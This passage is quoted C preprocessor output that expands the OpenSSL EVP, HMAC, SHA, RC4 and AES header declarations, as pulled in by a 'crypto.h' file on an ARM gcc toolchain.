*key,const unsigned char *iv, > int enc); >int EVP_CipherUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, > int *outl, const unsigned char *in, int inl); >int EVP_CipherFinal(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); >int EVP_CipherFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl); > >int EVP_SignFinal(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s, > EVP_PKEY *pkey); > >int EVP_VerifyFinal(EVP_MD_CTX *ctx,const unsigned char *sigbuf, > unsigned int siglen,EVP_PKEY *pkey); > >int EVP_DigestSignInit(EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx, > const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey); >int EVP_DigestSignFinal(EVP_MD_CTX *ctx, > unsigned char *sigret, size_t *siglen); > >int EVP_DigestVerifyInit(EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx, > const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey); >int EVP_DigestVerifyFinal(EVP_MD_CTX *ctx, > unsigned char *sig, size_t siglen); > >int EVP_OpenInit(EVP_CIPHER_CTX *ctx,const EVP_CIPHER *type, > const unsigned char *ek, int ekl, const unsigned char *iv, > EVP_PKEY *priv); >int EVP_OpenFinal(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl); > >int EVP_SealInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, > unsigned char **ek, int *ekl, unsigned char *iv, > EVP_PKEY **pubk, int npubk); >int EVP_SealFinal(EVP_CIPHER_CTX *ctx,unsigned char *out,int *outl); > >void EVP_EncodeInit(EVP_ENCODE_CTX *ctx); >void EVP_EncodeUpdate(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl, > const unsigned char *in,int inl); >void EVP_EncodeFinal(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl); >int EVP_EncodeBlock(unsigned char *t, const unsigned char *f, int n); > >void EVP_DecodeInit(EVP_ENCODE_CTX *ctx); >int EVP_DecodeUpdate(EVP_ENCODE_CTX *ctx,unsigned char *out,int *outl, > const unsigned char *in, int inl); >int EVP_DecodeFinal(EVP_ENCODE_CTX *ctx, unsigned > char *out, int *outl); >int EVP_DecodeBlock(unsigned char *t, const unsigned char *f, int n); > >void EVP_CIPHER_CTX_init(EVP_CIPHER_CTX *a); >int EVP_CIPHER_CTX_cleanup(EVP_CIPHER_CTX *a); >EVP_CIPHER_CTX *EVP_CIPHER_CTX_new(void); >void EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *a); >int EVP_CIPHER_CTX_set_key_length(EVP_CIPHER_CTX *x, int keylen); >int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX *c, int pad); >int EVP_CIPHER_CTX_ctrl(EVP_CIPHER_CTX *ctx, int type, int arg, void *ptr); >int EVP_CIPHER_CTX_rand_key(EVP_CIPHER_CTX *ctx, unsigned char *key); > > >BIO_METHOD *BIO_f_md(void); >BIO_METHOD *BIO_f_base64(void); >BIO_METHOD *BIO_f_cipher(void); >BIO_METHOD *BIO_f_reliable(void); >void BIO_set_cipher(BIO *b,const EVP_CIPHER *c,const unsigned char *k, > const unsigned char *i, int enc); > > >const EVP_MD *EVP_md_null(void); > > > > >const EVP_MD *EVP_md4(void); > > >const EVP_MD *EVP_md5(void); > > >const EVP_MD *EVP_sha(void); >const EVP_MD *EVP_sha1(void); >const EVP_MD *EVP_dss(void); >const EVP_MD *EVP_dss1(void); >const EVP_MD *EVP_ecdsa(void); > > >const EVP_MD *EVP_sha224(void); >const EVP_MD *EVP_sha256(void); > > >const EVP_MD *EVP_sha384(void); >const EVP_MD *EVP_sha512(void); > > >const EVP_MD *EVP_mdc2(void); > > >const EVP_MD *EVP_ripemd160(void); > > >const EVP_MD *EVP_whirlpool(void); > >const EVP_CIPHER *EVP_enc_null(void); > >const EVP_CIPHER *EVP_des_ecb(void); >const EVP_CIPHER *EVP_des_ede(void); >const EVP_CIPHER *EVP_des_ede3(void); >const EVP_CIPHER *EVP_des_ede_ecb(void); >const EVP_CIPHER *EVP_des_ede3_ecb(void); >const EVP_CIPHER *EVP_des_cfb64(void); > >const EVP_CIPHER *EVP_des_cfb1(void); >const EVP_CIPHER *EVP_des_cfb8(void); >const EVP_CIPHER *EVP_des_ede_cfb64(void); > > > > > >const EVP_CIPHER *EVP_des_ede3_cfb64(void); > >const EVP_CIPHER *EVP_des_ede3_cfb1(void); >const EVP_CIPHER *EVP_des_ede3_cfb8(void); >const EVP_CIPHER *EVP_des_ofb(void); >const EVP_CIPHER *EVP_des_ede_ofb(void); >const EVP_CIPHER *EVP_des_ede3_ofb(void); >const EVP_CIPHER *EVP_des_cbc(void); >const EVP_CIPHER *EVP_des_ede_cbc(void); >const EVP_CIPHER *EVP_des_ede3_cbc(void); >const EVP_CIPHER *EVP_desx_cbc(void); ># 739 "/usr/include/openssl/evp.h" 3 4 >const EVP_CIPHER *EVP_rc4(void); >const EVP_CIPHER *EVP_rc4_40(void); > >const EVP_CIPHER *EVP_rc4_hmac_md5(void); > > > >const EVP_CIPHER *EVP_idea_ecb(void); >const EVP_CIPHER *EVP_idea_cfb64(void); > >const EVP_CIPHER *EVP_idea_ofb(void); >const EVP_CIPHER *EVP_idea_cbc(void); > > >const EVP_CIPHER *EVP_rc2_ecb(void); >const EVP_CIPHER *EVP_rc2_cbc(void); >const EVP_CIPHER *EVP_rc2_40_cbc(void); >const EVP_CIPHER *EVP_rc2_64_cbc(void); >const EVP_CIPHER *EVP_rc2_cfb64(void); > >const EVP_CIPHER *EVP_rc2_ofb(void); > > >const EVP_CIPHER *EVP_bf_ecb(void); >const EVP_CIPHER *EVP_bf_cbc(void); >const EVP_CIPHER *EVP_bf_cfb64(void); > >const EVP_CIPHER *EVP_bf_ofb(void); > > >const EVP_CIPHER *EVP_cast5_ecb(void); >const EVP_CIPHER *EVP_cast5_cbc(void); >const EVP_CIPHER *EVP_cast5_cfb64(void); > >const EVP_CIPHER *EVP_cast5_ofb(void); ># 783 "/usr/include/openssl/evp.h" 3 4 >const EVP_CIPHER *EVP_aes_128_ecb(void); >const EVP_CIPHER *EVP_aes_128_cbc(void); >const EVP_CIPHER *EVP_aes_128_cfb1(void); >const EVP_CIPHER *EVP_aes_128_cfb8(void); >const EVP_CIPHER *EVP_aes_128_cfb128(void); > >const EVP_CIPHER *EVP_aes_128_ofb(void); >const EVP_CIPHER *EVP_aes_128_ctr(void); >const EVP_CIPHER *EVP_aes_128_ccm(void); >const EVP_CIPHER *EVP_aes_128_gcm(void); >const EVP_CIPHER *EVP_aes_128_xts(void); >const EVP_CIPHER *EVP_aes_192_ecb(void); >const EVP_CIPHER *EVP_aes_192_cbc(void); >const EVP_CIPHER *EVP_aes_192_cfb1(void); >const EVP_CIPHER *EVP_aes_192_cfb8(void); >const EVP_CIPHER *EVP_aes_192_cfb128(void); > >const EVP_CIPHER *EVP_aes_192_ofb(void); >const EVP_CIPHER *EVP_aes_192_ctr(void); >const EVP_CIPHER *EVP_aes_192_ccm(void); >const EVP_CIPHER *EVP_aes_192_gcm(void); >const EVP_CIPHER *EVP_aes_256_ecb(void); >const EVP_CIPHER *EVP_aes_256_cbc(void); >const EVP_CIPHER *EVP_aes_256_cfb1(void); >const EVP_CIPHER *EVP_aes_256_cfb8(void); >const EVP_CIPHER *EVP_aes_256_cfb128(void); > >const EVP_CIPHER *EVP_aes_256_ofb(void); >const EVP_CIPHER *EVP_aes_256_ctr(void); >const EVP_CIPHER *EVP_aes_256_ccm(void); >const EVP_CIPHER *EVP_aes_256_gcm(void); >const EVP_CIPHER *EVP_aes_256_xts(void); > >const EVP_CIPHER *EVP_aes_128_cbc_hmac_sha1(void); >const EVP_CIPHER *EVP_aes_256_cbc_hmac_sha1(void); > > > >const EVP_CIPHER *EVP_camellia_128_ecb(void); >const EVP_CIPHER *EVP_camellia_128_cbc(void); >const EVP_CIPHER *EVP_camellia_128_cfb1(void); >const EVP_CIPHER *EVP_camellia_128_cfb8(void); >const EVP_CIPHER *EVP_camellia_128_cfb128(void); > >const EVP_CIPHER *EVP_camellia_128_ofb(void); >const EVP_CIPHER *EVP_camellia_192_ecb(void); >const EVP_CIPHER *EVP_camellia_192_cbc(void); >const EVP_CIPHER *EVP_camellia_192_cfb1(void); >const EVP_CIPHER *EVP_camellia_192_cfb8(void); >const EVP_CIPHER *EVP_camellia_192_cfb128(void); > >const EVP_CIPHER *EVP_camellia_192_ofb(void); >const EVP_CIPHER *EVP_camellia_256_ecb(void); >const EVP_CIPHER *EVP_camellia_256_cbc(void); >const EVP_CIPHER *EVP_camellia_256_cfb1(void); >const EVP_CIPHER *EVP_camellia_256_cfb8(void); >const EVP_CIPHER *EVP_camellia_256_cfb128(void); > >const EVP_CIPHER *EVP_camellia_256_ofb(void); > > > >const EVP_CIPHER *EVP_seed_ecb(void); >const EVP_CIPHER *EVP_seed_cbc(void); >const EVP_CIPHER *EVP_seed_cfb128(void); > >const EVP_CIPHER *EVP_seed_ofb(void); > > >void OPENSSL_add_all_algorithms_noconf(void); >void OPENSSL_add_all_algorithms_conf(void); ># 863 "/usr/include/openssl/evp.h" 3 4 >void OpenSSL_add_all_ciphers(void); >void OpenSSL_add_all_digests(void); > > > > >int EVP_add_cipher(const EVP_CIPHER *cipher); >int EVP_add_digest(const EVP_MD *digest); > >const EVP_CIPHER *EVP_get_cipherbyname(const char *name); >const EVP_MD *EVP_get_digestbyname(const char *name); >void EVP_cleanup(void); > >void EVP_CIPHER_do_all(void (*fn)(const EVP_CIPHER *ciph, > const char *from, const char *to, void *x), void *arg); >void EVP_CIPHER_do_all_sorted(void (*fn)(const EVP_CIPHER *ciph, > const char *from, const char *to, void *x), void *arg); > >void EVP_MD_do_all(void (*fn)(const EVP_MD *ciph, > const char *from, const char *to, void *x), void *arg); >void EVP_MD_do_all_sorted(void (*fn)(const EVP_MD *ciph, > const char *from, const char *to, void *x), void *arg); > >int EVP_PKEY_decrypt_old(unsigned char *dec_key, > const unsigned char *enc_key,int enc_key_len, > EVP_PKEY *private_key); >int EVP_PKEY_encrypt_old(unsigned char *enc_key, > const unsigned char *key,int key_len, > EVP_PKEY *pub_key); >int EVP_PKEY_type(int type); >int EVP_PKEY_id(const EVP_PKEY *pkey); >int EVP_PKEY_base_id(const EVP_PKEY *pkey); >int EVP_PKEY_bits(EVP_PKEY *pkey); >int EVP_PKEY_size(EVP_PKEY *pkey); >int EVP_PKEY_set_type(EVP_PKEY *pkey,int type); >int EVP_PKEY_set_type_str(EVP_PKEY *pkey, const char *str, int len); >int EVP_PKEY_assign(EVP_PKEY *pkey,int type,void *key); >void * EVP_PKEY_get0(EVP_PKEY *pkey); > > >struct rsa_st; >int EVP_PKEY_set1_RSA(EVP_PKEY *pkey,struct rsa_st *key); >struct rsa_st *EVP_PKEY_get1_RSA(EVP_PKEY *pkey); > > >struct dsa_st; >int EVP_PKEY_set1_DSA(EVP_PKEY *pkey,struct dsa_st *key); >struct dsa_st *EVP_PKEY_get1_DSA(EVP_PKEY *pkey); > > >struct dh_st; >int EVP_PKEY_set1_DH(EVP_PKEY *pkey,struct dh_st *key); >struct dh_st *EVP_PKEY_get1_DH(EVP_PKEY *pkey); > > > > > > > >EVP_PKEY * EVP_PKEY_new(void); >void EVP_PKEY_free(EVP_PKEY *pkey); > >EVP_PKEY * d2i_PublicKey(int type,EVP_PKEY **a, const unsigned char **pp, > long length); >int i2d_PublicKey(EVP_PKEY *a, unsigned char **pp); > >EVP_PKEY * d2i_PrivateKey(int type,EVP_PKEY **a, const unsigned char **pp, > long length); >EVP_PKEY * d2i_AutoPrivateKey(EVP_PKEY **a, const unsigned char **pp, > long length); >int i2d_PrivateKey(EVP_PKEY *a, unsigned char **pp); > >int EVP_PKEY_copy_parameters(EVP_PKEY *to, const EVP_PKEY *from); >int EVP_PKEY_missing_parameters(const EVP_PKEY *pkey); >int EVP_PKEY_save_parameters(EVP_PKEY *pkey,int mode); >int EVP_PKEY_cmp_parameters(const EVP_PKEY *a, const EVP_PKEY *b); > >int EVP_PKEY_cmp(const EVP_PKEY *a, const EVP_PKEY *b); > >int EVP_PKEY_print_public(BIO *out, const EVP_PKEY *pkey, > int indent, ASN1_PCTX *pctx); >int EVP_PKEY_print_private(BIO *out, const EVP_PKEY *pkey, > int indent, ASN1_PCTX *pctx); >int EVP_PKEY_print_params(BIO *out, const EVP_PKEY *pkey, > int indent, ASN1_PCTX *pctx); > >int EVP_PKEY_get_default_digest_nid(EVP_PKEY *pkey, int *pnid); > >int EVP_CIPHER_type(const EVP_CIPHER *ctx); > > >int EVP_CIPHER_param_to_asn1(EVP_CIPHER_CTX *c, ASN1_TYPE *type); >int EVP_CIPHER_asn1_to_param(EVP_CIPHER_CTX *c, ASN1_TYPE *type); > > >int EVP_CIPHER_set_asn1_iv(EVP_CIPHER_CTX *c,ASN1_TYPE *type); >int EVP_CIPHER_get_asn1_iv(EVP_CIPHER_CTX *c,ASN1_TYPE *type); > > >int PKCS5_PBE_keyivgen(EVP_CIPHER_CTX *ctx, const char *pass, int passlen, > ASN1_TYPE *param, const EVP_CIPHER *cipher, const EVP_MD *md, > int en_de); >int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen, > const unsigned char *salt, int saltlen, int iter, > int keylen, unsigned char *out); >int PKCS5_PBKDF2_HMAC(const char *pass, int passlen, > const unsigned char *salt, int saltlen, int iter, > const EVP_MD *digest, > int keylen, unsigned char *out); >int PKCS5_v2_PBE_keyivgen(EVP_CIPHER_CTX *ctx, const char *pass, int passlen, > ASN1_TYPE *param, const EVP_CIPHER *cipher, const EVP_MD *md, > int en_de); > >void PKCS5_PBE_add(void); > >int EVP_PBE_CipherInit (ASN1_OBJECT *pbe_obj, const char *pass, int passlen, > ASN1_TYPE *param, EVP_CIPHER_CTX *ctx, int en_de); ># 989 "/usr/include/openssl/evp.h" 3 4 >int EVP_PBE_alg_add_type(int pbe_type, int pbe_nid, int cipher_nid, int md_nid, > EVP_PBE_KEYGEN *keygen); >int EVP_PBE_alg_add(int nid, const EVP_CIPHER *cipher, const EVP_MD *md, > EVP_PBE_KEYGEN *keygen); >int EVP_PBE_find(int type, int pbe_nid, > int *pcnid, int *pmnid, EVP_PBE_KEYGEN **pkeygen); >void EVP_PBE_cleanup(void); ># 1007 "/usr/include/openssl/evp.h" 3 4 >int EVP_PKEY_asn1_get_count(void); >const EVP_PKEY_ASN1_METHOD *EVP_PKEY_asn1_get0(int idx); >const EVP_PKEY_ASN1_METHOD *EVP_PKEY_asn1_find(ENGINE **pe, int type); >const EVP_PKEY_ASN1_METHOD *EVP_PKEY_asn1_find_str(ENGINE **pe, > const char *str, int len); >int EVP_PKEY_asn1_add0(const EVP_PKEY_ASN1_METHOD *ameth); >int EVP_PKEY_asn1_add_alias(int to, int from); >int EVP_PKEY_asn1_get0_info(int *ppkey_id, int *pkey_base_id, int *ppkey_flags, > const char **pinfo, const char **ppem_str, > const EVP_PKEY_ASN1_METHOD *ameth); > >const EVP_PKEY_ASN1_METHOD* EVP_PKEY_get0_asn1(EVP_PKEY *pkey); >EVP_PKEY_ASN1_METHOD* EVP_PKEY_asn1_new(int id, int flags, > const char *pem_str, const char *info); >void EVP_PKEY_asn1_copy(EVP_PKEY_ASN1_METHOD *dst, > const EVP_PKEY_ASN1_METHOD *src); >void EVP_PKEY_asn1_free(EVP_PKEY_ASN1_METHOD *ameth); >void EVP_PKEY_asn1_set_public(EVP_PKEY_ASN1_METHOD *ameth, > int (*pub_decode)(EVP_PKEY *pk, X509_PUBKEY *pub), > int (*pub_encode)(X509_PUBKEY *pub, const EVP_PKEY *pk), > int (*pub_cmp)(const EVP_PKEY *a, const EVP_PKEY *b), > int (*pub_print)(BIO *out, const EVP_PKEY *pkey, int indent, > ASN1_PCTX *pctx), > int (*pkey_size)(const EVP_PKEY *pk), > int (*pkey_bits)(const EVP_PKEY *pk)); >void EVP_PKEY_asn1_set_private(EVP_PKEY_ASN1_METHOD *ameth, > int (*priv_decode)(EVP_PKEY *pk, PKCS8_PRIV_KEY_INFO *p8inf), > int (*priv_encode)(PKCS8_PRIV_KEY_INFO *p8, const EVP_PKEY *pk), > int (*priv_print)(BIO *out, const EVP_PKEY *pkey, int indent, > ASN1_PCTX *pctx)); >void EVP_PKEY_asn1_set_param(EVP_PKEY_ASN1_METHOD *ameth, > int (*param_decode)(EVP_PKEY *pkey, > const unsigned char **pder, int derlen), > int (*param_encode)(const EVP_PKEY *pkey, unsigned char **pder), > int (*param_missing)(const EVP_PKEY *pk), > int (*param_copy)(EVP_PKEY *to, const EVP_PKEY *from), > int (*param_cmp)(const EVP_PKEY *a, const EVP_PKEY *b), > int (*param_print)(BIO *out, const EVP_PKEY *pkey, int indent, > ASN1_PCTX *pctx)); > >void EVP_PKEY_asn1_set_free(EVP_PKEY_ASN1_METHOD *ameth, > void (*pkey_free)(EVP_PKEY *pkey)); >void EVP_PKEY_asn1_set_ctrl(EVP_PKEY_ASN1_METHOD *ameth, > int (*pkey_ctrl)(EVP_PKEY *pkey, int op, > long arg1, void *arg2)); ># 1113 "/usr/include/openssl/evp.h" 3 4 >const EVP_PKEY_METHOD *EVP_PKEY_meth_find(int type); >EVP_PKEY_METHOD* EVP_PKEY_meth_new(int id, int flags); >void EVP_PKEY_meth_get0_info(int *ppkey_id, int *pflags, > const EVP_PKEY_METHOD *meth); >void EVP_PKEY_meth_copy(EVP_PKEY_METHOD *dst, const EVP_PKEY_METHOD *src); >void EVP_PKEY_meth_free(EVP_PKEY_METHOD *pmeth); >int EVP_PKEY_meth_add0(const EVP_PKEY_METHOD *pmeth); > >EVP_PKEY_CTX *EVP_PKEY_CTX_new(EVP_PKEY *pkey, ENGINE *e); >EVP_PKEY_CTX *EVP_PKEY_CTX_new_id(int id, ENGINE *e); >EVP_PKEY_CTX *EVP_PKEY_CTX_dup(EVP_PKEY_CTX *ctx); >void EVP_PKEY_CTX_free(EVP_PKEY_CTX *ctx); > >int EVP_PKEY_CTX_ctrl(EVP_PKEY_CTX *ctx, int keytype, int optype, > int cmd, int p1, void *p2); >int EVP_PKEY_CTX_ctrl_str(EVP_PKEY_CTX *ctx, const char *type, > const char *value); > >int EVP_PKEY_CTX_get_operation(EVP_PKEY_CTX *ctx); >void EVP_PKEY_CTX_set0_keygen_info(EVP_PKEY_CTX *ctx, int *dat, int datlen); > >EVP_PKEY *EVP_PKEY_new_mac_key(int type, ENGINE *e, > const unsigned char *key, int keylen); > >void EVP_PKEY_CTX_set_data(EVP_PKEY_CTX *ctx, void *data); >void *EVP_PKEY_CTX_get_data(EVP_PKEY_CTX *ctx); >EVP_PKEY *EVP_PKEY_CTX_get0_pkey(EVP_PKEY_CTX *ctx); > >EVP_PKEY *EVP_PKEY_CTX_get0_peerkey(EVP_PKEY_CTX *ctx); > >void EVP_PKEY_CTX_set_app_data(EVP_PKEY_CTX *ctx, void *data); >void *EVP_PKEY_CTX_get_app_data(EVP_PKEY_CTX *ctx); > >int EVP_PKEY_sign_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_sign(EVP_PKEY_CTX *ctx, > unsigned char *sig, size_t *siglen, > const unsigned char *tbs, size_t tbslen); >int EVP_PKEY_verify_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_verify(EVP_PKEY_CTX *ctx, > const unsigned char *sig, size_t siglen, > const unsigned char *tbs, size_t tbslen); >int EVP_PKEY_verify_recover_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_verify_recover(EVP_PKEY_CTX *ctx, > unsigned char *rout, size_t *routlen, > const unsigned char *sig, size_t siglen); >int EVP_PKEY_encrypt_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_encrypt(EVP_PKEY_CTX *ctx, > unsigned char *out, size_t *outlen, > const unsigned char *in, size_t inlen); >int EVP_PKEY_decrypt_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_decrypt(EVP_PKEY_CTX *ctx, > unsigned char *out, size_t *outlen, > const unsigned char *in, size_t inlen); > >int EVP_PKEY_derive_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_derive_set_peer(EVP_PKEY_CTX *ctx, EVP_PKEY *peer); >int EVP_PKEY_derive(EVP_PKEY_CTX *ctx, unsigned char *key, size_t *keylen); > >typedef int EVP_PKEY_gen_cb(EVP_PKEY_CTX *ctx); > >int EVP_PKEY_paramgen_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_paramgen(EVP_PKEY_CTX *ctx, EVP_PKEY **ppkey); >int EVP_PKEY_keygen_init(EVP_PKEY_CTX *ctx); >int EVP_PKEY_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY **ppkey); > >void EVP_PKEY_CTX_set_cb(EVP_PKEY_CTX *ctx, EVP_PKEY_gen_cb *cb); >EVP_PKEY_gen_cb *EVP_PKEY_CTX_get_cb(EVP_PKEY_CTX *ctx); > >int EVP_PKEY_CTX_get_keygen_info(EVP_PKEY_CTX *ctx, int idx); > >void EVP_PKEY_meth_set_init(EVP_PKEY_METHOD *pmeth, > int (*init)(EVP_PKEY_CTX *ctx)); > >void EVP_PKEY_meth_set_copy(EVP_PKEY_METHOD *pmeth, > int (*copy)(EVP_PKEY_CTX *dst, EVP_PKEY_CTX *src)); > >void EVP_PKEY_meth_set_cleanup(EVP_PKEY_METHOD *pmeth, > void (*cleanup)(EVP_PKEY_CTX *ctx)); > >void EVP_PKEY_meth_set_paramgen(EVP_PKEY_METHOD *pmeth, > int (*paramgen_init)(EVP_PKEY_CTX *ctx), > int (*paramgen)(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)); > >void EVP_PKEY_meth_set_keygen(EVP_PKEY_METHOD *pmeth, > int (*keygen_init)(EVP_PKEY_CTX *ctx), > int (*keygen)(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)); > >void EVP_PKEY_meth_set_sign(EVP_PKEY_METHOD *pmeth, > int (*sign_init)(EVP_PKEY_CTX *ctx), > int (*sign)(EVP_PKEY_CTX *ctx, unsigned char *sig, size_t *siglen, > const unsigned char *tbs, size_t tbslen)); > >void EVP_PKEY_meth_set_verify(EVP_PKEY_METHOD *pmeth, > int (*verify_init)(EVP_PKEY_CTX *ctx), > int (*verify)(EVP_PKEY_CTX *ctx, const unsigned char *sig, size_t siglen, > const unsigned char *tbs, size_t tbslen)); > >void EVP_PKEY_meth_set_verify_recover(EVP_PKEY_METHOD *pmeth, > int (*verify_recover_init)(EVP_PKEY_CTX *ctx), > int (*verify_recover)(EVP_PKEY_CTX *ctx, > unsigned char *sig, size_t *siglen, > const unsigned char *tbs, size_t tbslen)); > >void EVP_PKEY_meth_set_signctx(EVP_PKEY_METHOD *pmeth, > int (*signctx_init)(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx), > int (*signctx)(EVP_PKEY_CTX *ctx, unsigned char *sig, size_t *siglen, > EVP_MD_CTX *mctx)); > >void EVP_PKEY_meth_set_verifyctx(EVP_PKEY_METHOD *pmeth, > int (*verifyctx_init)(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx), > int (*verifyctx)(EVP_PKEY_CTX *ctx, const unsigned char *sig,int siglen, > EVP_MD_CTX *mctx)); > >void EVP_PKEY_meth_set_encrypt(EVP_PKEY_METHOD *pmeth, > int (*encrypt_init)(EVP_PKEY_CTX *ctx), > int (*encryptfn)(EVP_PKEY_CTX *ctx, unsigned char *out, size_t *outlen, > const unsigned char *in, size_t inlen)); > >void EVP_PKEY_meth_set_decrypt(EVP_PKEY_METHOD *pmeth, > int (*decrypt_init)(EVP_PKEY_CTX *ctx), > int (*decrypt)(EVP_PKEY_CTX *ctx, unsigned char *out, size_t *outlen, > const unsigned char *in, size_t inlen)); > >void EVP_PKEY_meth_set_derive(EVP_PKEY_METHOD *pmeth, > int (*derive_init)(EVP_PKEY_CTX *ctx), > int (*derive)(EVP_PKEY_CTX *ctx, unsigned char *key, size_t *keylen)); > >void EVP_PKEY_meth_set_ctrl(EVP_PKEY_METHOD *pmeth, > int (*ctrl)(EVP_PKEY_CTX *ctx, int type, int p1, void *p2), > int (*ctrl_str)(EVP_PKEY_CTX *ctx, > const char *type, const char *value)); > >void EVP_add_alg_module(void); > > > > > >void ERR_load_EVP_strings(void); ># 68 "/usr/include/openssl/hmac.h" 2 3 4 > > > > > > > >typedef struct hmac_ctx_st > { > const EVP_MD *md; > EVP_MD_CTX md_ctx; > EVP_MD_CTX i_ctx; > EVP_MD_CTX o_ctx; > unsigned int key_length; > unsigned char key[128]; > } HMAC_CTX; > > > > >void HMAC_CTX_init(HMAC_CTX *ctx); >void HMAC_CTX_cleanup(HMAC_CTX *ctx); > > > >int HMAC_Init(HMAC_CTX *ctx, const void *key, int len, > const EVP_MD *md); >int HMAC_Init_ex(HMAC_CTX *ctx, const void *key, int len, > const EVP_MD *md, ENGINE *impl); >int HMAC_Update(HMAC_CTX *ctx, const unsigned char *data, size_t len); >int HMAC_Final(HMAC_CTX *ctx, unsigned char *md, unsigned int *len); >unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len, > const unsigned char *d, size_t n, unsigned char *md, > unsigned int *md_len); >int HMAC_CTX_copy(HMAC_CTX *dctx, HMAC_CTX *sctx); > >void HMAC_CTX_set_flags(HMAC_CTX *ctx, unsigned long flags); ># 13 "crypto.h" 2 ># 1 "/usr/include/openssl/sha.h" 1 3 4 ># 62 "/usr/include/openssl/sha.h" 3 4 ># 1 "/usr/include/openssl/e_os2.h" 1 3 4 ># 56 "/usr/include/openssl/e_os2.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 57 "/usr/include/openssl/e_os2.h" 2 3 4 ># 63 "/usr/include/openssl/sha.h" 2 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 150 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 3 4 >typedef int ptrdiff_t; ># 64 "/usr/include/openssl/sha.h" 2 3 4 ># 100 "/usr/include/openssl/sha.h" 3 4 >typedef struct SHAstate_st > { > unsigned int h0,h1,h2,h3,h4; > unsigned int Nl,Nh; > unsigned int data[16]; > unsigned int num; > } SHA_CTX; > > > > > >int SHA_Init(SHA_CTX *c); >int SHA_Update(SHA_CTX *c, const void *data, size_t len); >int SHA_Final(unsigned char *md, SHA_CTX *c); >unsigned char *SHA(const unsigned char *d, size_t n, unsigned char *md); >void SHA_Transform(SHA_CTX *c, const unsigned char *data); > > > > > >int SHA1_Init(SHA_CTX *c); >int SHA1_Update(SHA_CTX *c, const void *data, size_t len); >int SHA1_Final(unsigned char *md, SHA_CTX *c); >unsigned char *SHA1(const unsigned char *d, size_t n, unsigned char *md); >void SHA1_Transform(SHA_CTX *c, const unsigned char *data); ># 135 "/usr/include/openssl/sha.h" 3 4 >typedef struct SHA256state_st > { > unsigned int h[8]; > unsigned int Nl,Nh; > unsigned int data[16]; > unsigned int num,md_len; > } SHA256_CTX; > > > > > > >int SHA224_Init(SHA256_CTX *c); >int SHA224_Update(SHA256_CTX *c, const void *data, size_t len); >int SHA224_Final(unsigned char *md, SHA256_CTX *c); >unsigned char *SHA224(const unsigned char *d, size_t n,unsigned char *md); >int SHA256_Init(SHA256_CTX *c); >int SHA256_Update(SHA256_CTX *c, const void *data, size_t len); >int SHA256_Final(unsigned char *md, SHA256_CTX *c); >unsigned char *SHA256(const unsigned char *d, size_t n,unsigned char *md); >void SHA256_Transform(SHA256_CTX *c, const unsigned char *data); ># 182 "/usr/include/openssl/sha.h" 3 4 >typedef struct SHA512state_st > { > unsigned long long h[8]; > unsigned long long Nl,Nh; > union { > unsigned long long d[16]; > unsigned char p[(16*8)]; > } u; > unsigned int num,md_len; > } SHA512_CTX; > > > > > > > >int SHA384_Init(SHA512_CTX *c); >int SHA384_Update(SHA512_CTX *c, const void *data, size_t len); >int SHA384_Final(unsigned char *md, SHA512_CTX *c); >unsigned char *SHA384(const unsigned char *d, size_t n,unsigned char *md); >int SHA512_Init(SHA512_CTX *c); >int SHA512_Update(SHA512_CTX *c, const void *data, size_t len); >int SHA512_Final(unsigned char *md, SHA512_CTX *c); >unsigned char *SHA512(const unsigned char *d, size_t n,unsigned char *md); >void SHA512_Transform(SHA512_CTX *c, const unsigned char *data); ># 14 "crypto.h" 2 > ># 1 "/usr/include/openssl/rc4.h" 1 3 4 ># 62 "/usr/include/openssl/rc4.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 63 "/usr/include/openssl/rc4.h" 2 3 4 > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 68 "/usr/include/openssl/rc4.h" 2 3 4 > > > > > >typedef struct rc4_key_st > { > unsigned char x,y; > unsigned char data[256]; > } RC4_KEY; > > >const char *RC4_options(void); >void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data); >void private_RC4_set_key(RC4_KEY *key, int len, const unsigned char *data); >void RC4(RC4_KEY *key, size_t len, const unsigned char *indata, > unsigned char *outdata); ># 16 "crypto.h" 2 ># 1 "/usr/include/openssl/aes.h" 1 3 4 ># 55 "/usr/include/openssl/aes.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 56 "/usr/include/openssl/aes.h" 2 3 4 > > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 62 "/usr/include/openssl/aes.h" 2 3 4 ># 76 "/usr/include/openssl/aes.h" 3 4 >struct aes_key_st { > > > > unsigned int rd_key[4 *(14 + 1)]; > > int rounds; >}; >typedef struct aes_key_st AES_KEY; > >const char 